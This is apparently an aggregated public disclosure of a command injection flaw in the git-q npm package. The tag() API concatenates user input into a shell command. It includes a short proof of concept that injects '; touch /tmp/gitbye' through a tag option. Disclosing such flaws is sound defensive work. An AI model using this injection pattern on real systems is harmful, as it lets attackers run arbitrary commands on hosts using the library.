


























The git-q npm package describes itself as a thin Q promise wrapper for Git commands. Attempts to contact the maintainer through the GitHub repository through an open issue were unfortunately not successful, and this write-up is the public disclosure of the vulnerability.
Resources:
I’m reporting a Command Injection vulnerability in git-q npm package.
This vulnerability manifests with the library’s tag(options) API,
which allows user input to specify the tagged version and a commit message.
However, this input is passed as-is to the git command and concatenated as
the whole command string, making it vulnerable to command injection.
git-q@0.0.3var GitQ = require("git-q");
var gitQ = new GitQ();
gitQ
.tag({ a: "; touch /tmp/gitbye" })
.done();
/tmp/gitbye此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。